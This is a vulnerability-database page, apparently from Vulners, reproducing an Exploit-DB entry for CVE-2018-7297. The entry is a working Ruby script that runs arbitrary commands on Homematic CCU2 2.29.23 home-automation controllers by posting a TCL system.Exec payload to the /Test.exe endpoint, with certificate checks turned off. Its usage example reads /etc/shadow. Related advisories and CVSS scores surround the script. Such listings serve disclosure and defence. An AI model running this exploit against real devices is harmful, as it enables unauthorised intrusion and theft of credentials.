Lucene search
+L

Homematic CCU2 2.29.23 - Remote Command Execution

🗓️ 30 Mar 2018 00:00:00Reported by Patrick Muench and Gregor KopfType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 47 Views

Homematic CCU2 2.29.23 Remote Command Execution by Ruby scrip

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Homematic CCU2 2.29.23 - Remote Command Execution Exploit
30 Mar 201800:00
–zdt
bdu_fstec
BDU FSTEC
HomeMatic Central Control Unit Arbitrary File Read Execute System Commands
3 May 201800:00
–bdu_fstec
cnvd
CNVD
eQ-3 AG HomeMatic CCU2 Remote Code Execution Vulnerability (CNVD-2018-05831)
23 Feb 201800:00
–cnvd
cve
CVE
CVE-2018-7297
22 Feb 201819:00
–cve
cvelist
Cvelist
CVE-2018-7297
22 Feb 201819:00
–cvelist
kittysploit
KittySploit
HomeMatic CCU2 - TCL RCE (CVE-2018-7297)
10 Aug 202606:19
–kittysploit
kittysploit
KittySploit
HomeMatic CCU2 - TCL RCE Detection (CVE-2018-7297)
10 Aug 202606:19
–kittysploit
nvd
NVD
CVE-2018-7297
22 Feb 201819:29
–nvd
openvas
OpenVAS
HomeMatic CCU2 Multiple Vulnerabilities
23 Feb 201800:00
–openvas
osv_cve
osv_cve
CVE-2018-7297
22 Feb 201819:29
–osv_cve
Rows per page
#!/usr/bin/ruby

# Exploit Title: Homematic CCU2 Remote Command Execution
# Date: 28-03-18
# Exploit Author: Patrick Muench, Gregor Kopf
# Vendor Homepage: http://www.eq-3.de
# Software Link: http://www.eq-3.de/service/downloads.html?id=268
# Version: 2.29.23
# CVE : 2018-7297

# Description: http://atomic111.github.io/article/homematic-ccu2-remote-code-execution

require 'net/http'
require 'net/https'
require 'uri'

unless ARGV.length == 2
  STDOUT.puts <<-EOF
Please provide url and the command, which is execute on the homematic

Usage:
  execute_cmd.rb <ip.adress> <homematic command>

Example:
  execute_cmd.rb https://192.168.1.1 "cat /etc/shadow"

  or

  execute_cmd.rb http://192.168.1.1 "cat /etc/shadow"

EOF
  exit
end

# The first argument specifies the URL and if http or https is used
url = ARGV[0] + "/Test.exe"

# The second argument specifies the command which is executed via tcl interpreter
tcl_command = ARGV[1]

# define body content
body = "string stdout;string stderr;system.Exec(\"" << tcl_command << "\", &stdout, &stderr);WriteLine(stdout);"

# split uri to access it in a easier way
uri = URI.parse(url)

# define target connection, disabling certificate verification
Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https', :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|

  # define post request
  request = Net::HTTP::Post.new(uri.request_uri)

  # define the request body
  request.body = body

  # send the request to the homematic ccu2
  response = http.request(request)

  # print response to cli
  puts response.body
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Mar 2018 00:00Current
8.4High risk
Vulners AI Score8.4
CVSS 39.8
CVSS 210
EPSS0.64251
47